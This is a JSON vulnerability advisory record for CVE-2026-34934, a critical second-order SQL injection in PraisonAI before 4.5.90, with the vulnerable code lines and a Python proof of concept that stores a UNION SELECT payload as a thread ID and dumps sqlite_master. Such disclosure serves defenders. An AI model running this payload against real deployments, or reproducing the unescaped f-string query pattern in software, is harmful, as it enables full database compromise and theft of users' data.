{"id":"CVE-2026-34934","aliases":["CVE-2026-34934","GHSA-9cq8-3v94-434g","PYSEC-2026-470"],"related":[],"kind":"vulnerability","state":"published","title":"PraisonAI: Second-Order SQL Injection in `get_all_user_threads`","summary":"PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n---\n\n## Details\n\n**File Path:**  \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n\n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"('\" + \"','\".join([t[\"thread_id\"] for t in user_threads]) + \"')\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n    data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n    # Insert a valid thread\n    await data_layer.update_thread(\n        thread_id=\"valid_thread\", \n        user_id=\"attacker\"\n    )\n\n    # Inject malicious payload\n    payload = \"x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n    await data_layer.update_thread(\n        thread_id=payload, \n        user_id=\"attacker\"\n    )\n\n    # Trigger vulnerable function\n    result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n    for thread in result:\n        if getattr(thread, 'id', '') == 'valid_thread':\n            for step in getattr(thread, 'steps', []):\n                print(getattr(step, 'id', ''))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n\nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents","format":"markdown","source":"ghsa"},{"lang":"es","text":"PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.90, la función get_all_user_threads construye consultas SQL sin procesar utilizando f-strings con IDs de hilo sin escapar obtenidos de la base de datos. Un atacante almacena un ID de hilo malicioso a través de update_thread. Cuando la aplicación carga la lista de hilos, la carga útil inyectada se ejecuta y otorga acceso completo a la base de datos. Este problema ha sido parcheado en la versión 4.5.90.","source":"nvd"}],"published":"2026-04-01T23:20:32.000Z","modified":"2026-11-16T16:15:06.421Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 4.5.90","status":"affected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.90"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.90"}],"vendor":"praison","product":"praisonai","cpe":"cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.90"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34934","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/praisonai/PYSEC-2026-470.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/praisonai","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-9cq8-3v94-434g","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-04-06T13:16:07.406Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34934","url":"https://www.cve.org/CVERecord?id=CVE-2026-34934","licence":"CVE Terms of Use","modified":"2026-04-06T13:16:17.048Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9cq8-3v94-434g","url":"https://github.com/advisories/GHSA-9cq8-3v94-434g","licence":"CC-BY-4.0","modified":"2026-11-16T16:15:06.421Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34934","licence":"Public domain","modified":"2026-07-24T22:10:00.140Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-470","url":"https://osv.dev/vulnerability/PYSEC-2026-470","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:32.261Z"}],"updatedAt":"2026-11-25T22:59:17.932Z","epss":{"score":0.00594,"percentile":0.49748,"date":"2026-12-01T12:00:22.000Z"}}